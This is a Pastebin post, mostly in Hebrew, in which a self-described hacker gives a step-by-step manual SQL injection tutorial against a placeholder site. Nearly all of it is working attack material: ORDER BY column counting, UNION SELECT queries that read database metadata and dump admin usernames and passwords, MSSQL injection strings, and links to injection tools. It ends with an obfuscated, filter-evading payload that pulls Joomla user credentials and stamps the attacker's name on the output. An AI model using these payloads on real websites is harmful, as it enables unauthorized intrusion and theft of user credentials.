Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Injection site manually
- הזרקה לאתר באופן ידני
- Hacker zurael sTz
- https://twitter.com/zurael_stz
- http://pastebin.com/9vbvv7Dq
- (כדי שנוכל להזריק לו) sql קודם כל צריך למצוא אתר עם פגיע
- איך תכלו למצוא אפשרות של הזרקה על ידי (') בסוף הכתובת האתר
- לדוגמא : www.targetwebsite.com/index.php?id=8 '
- עכשיו שיש לנו אתר פגיע נוכל לעבור לשב הבא
- www.targetwebsite.com/index.php?id=8 Order by 1
- www.targetwebsite.com/index.php?id=8 Order by 2
- www.targetwebsite.com/index.php?id=8 Order by 3
- www.targetwebsite.com/index.php?id=8 Order by 4
- www.targetwebsite.com/index.php?id=8 Order by 5
- ואם השיטה הזאת לא תעבוד תוכלו לעשות גם תאפשרות הבאה
- www.targetwebsite.com/index.php?id=8 order by 1--
- www.targetwebsite.com/index.php?id=8 order by 2--
- www.targetwebsite.com/index.php?id=8 order by 3--
- אם אתה מקבל הודעה שגיאה ב-12 זה אומר שהבסיס נתונים נמצא ב-11
- לפעמיים תקבלו סוג גיאה כזה
- Unknown column '12' in 'order clause'
- הטריק הזה משמש כדי לדעת כמה עמודות יש לבסיס נתונים
- www.targetwebsite.com/index.php?id=8 Order by 1 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 2 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 3 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 4 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 5 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 6 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 7 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 8 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 9 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 10 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 11 (No Error)
- www.targetwebsite.com/index.php?id=8 Order by 12 (Error)
- כאן באתר הזה הוא מראה שגיאה ב-12 זה אומר שיש 11 עמודות לבסיס נתונים
- מספר עמודות : 11
- השלב הבא הוא למצוא טור פגיע
- עכשיו הריץ את מספר העמודות כמו שבדוגמא למטה כדי למצוא טור פגיע
- לנו יצא 11 עמודות אז נריץ 11
- www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11--
- לרוב צריך להשתמש ב(-) כדי לקבל את העמודות הפגיעות
- אצלנו מצאנו עמודות פגיעות 4-2-3
- נשים את הפקודה הבא במקום העמודה הפגיעה -Database עכשיו כדי לדעת מה בגרסא של
- version()
- www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
- עכשיו אפשר לעשות את זה גם אם שאילתות שונות
- version()
- database()
- user()
- www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
- www.targetwebsite.com/index.php?id=-8 union select 1,database(),3,4,5,6,7,8,9,10,11--
- www.targetwebsite.com/index.php?id=-8 union select 1,user(),3,4,5,6,7,8,9,10,11--
- ואם השיטה הזאת לא תעבוד לכם יש לכם את האופציה הזאת
- www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11--
- השלב הבא הוא למצוא את שם הטבלה
- מה שעשינו מקודם זה מצאנו את שם הגרסא של הבסיס נתונים והשם משתמש
- אם הגרסא היא 4 ומעלה אז אז נצטרך לנחש את השם
- Blind SQL
- השלב הבא
- from information_schema.tables where table_schema=database() ואז להוסיף "group_concat(table_name) <=החלף את מספר העמודה עם זה
- דוגמא
- www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--
- עכשיו תלחצו אנטר ואשפר לראות את הטבלה המלאה של המסד נתונים
- user
- admin
- login
- usernem
- אלו טבלות שקשורת למנהל
- השלב הבא הוא מציאת שם עמודה
- "group_concat(column_name) with "group_concat(table_name)" עכשיו כדי למצוא שם עמודות תחליפו בין
- ופה תחליפו בניהם
- "from information_schema.tables where table_schema=database()--"
- with
- "FROM information_schema.columns WHERE table_name=mysqlchar--
- Mysql Char עכשיו נצטרך להמיר את שם הטבלה לתוך
- ( ותתקינו אותו Hackbar כדי להמיר תגלשו פיירפוקס ואז תלחצו על "סרגל כלים ותחפשו את)
- ולרשום את שם הטבלה שברצונכם להמיר MysqlChar אחרי שהתקנתם את האקבר אפשר לגשת ל-
- mysqlcharאת שם הטבלה שהמרתם תעתיקו במקום ה
- www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)--
- עכשיו תלחצו אנטר ואפשר לראות את שמות העמודות
- user וכן אצלי מצאתי שם משתמש וסיסמא (אני פתחתי את הטבלה
- השלב הבא זה להוציא את השם משתמש והסיסמא מהעמודה שלב הפריצה
- עכשיו כדי להוציא את השם והסיסמא של מנהל האתר נחליף את
- group_concat(column_name) <==>>(username,0x2a,password)
- לדוגמה
- http://targetwebsite.com/index.php?id=-8 and 1=2 union select 1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11 from userDatabase--
- עכשיו אחרי שהצלחנו להוציא את שם משתמש והסיסמא של מנהל האתר סיימנו את שם הפריצה והוצאת המידע מהאתר שרצנו
- sql injectiob asp
- and 0<=(SELECT count(*) FROM[admin]) and 1=1
- and 0<=(SELECT count([username]) FROM[admin]) and 1=1
- UNION SELECT ALL NULL NULL NULL NULL NULL NULL FORM admin
- UNION SELECT ALL username NULL NULL NULL NULL NULL FORM admin
- or 1=convert(int,(db_name()))
- or 1=convert(int,(select+top+1+name+from+sysobjects))
- עכשיו כדי להתחבר לפנהל האתר אני ישים כאן 10 קישורים לחיפוש אחר אדמינים של אתרים
- http://efytimes.com/e1/fullnews.asp?edid=132535
- Related sites: tools
- https://addons.mozilla.org/en-US/firefox/addon/hackbar/
- https://www.getmantra.com/download.html
- http://sourceforge.net/projects/witool/
- http://sqlninja.sourceforge.net/
- https://hackingheart.wordpress.com/2013/02/15/best-sql-injection-tool/
- https://code.google.com/p/jsql-injection/
- http://www.darknet.org.uk/2011/12/the-mole-automatic-sql-injection-sqli-exploitation-tool/
- http://www.itsecteam.com/products/havij-advanced-sql-injection/
- http://egodox.blogspot.com/2013/04/the-best-sql-injection-tools.html
- http://hack-tools.blackploit.com/2014/06/the-mole-automatic-sql-injection.html
- #zurael_sTz israel
- ##
- /*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279207a757261656c5f73547a203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,/*!12345version()*/,0x3c62723e44622055736572203a20,/*!12345user()*/,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(/*!12345information_schema*//**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,/*!12345table_schema*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,/*!12345table_name*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,/*!12345column_name*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
- (SELECT(@x)/*!50000FROM*/(/*!50000SELECT*/(@x:=0x00) ,(SELECT(@x)/*!50000FROM*/(wrcatip_wclac.jos_users)/*!50000WHERE*/(@x)IN(@x:=/*!50000CONCAT*/(0x20,@x,/*!50000username*/,0x2a,password,0x2a,email,0x3c62723e))))x)
Advertisement
Add Comment
Please, Sign In to add comment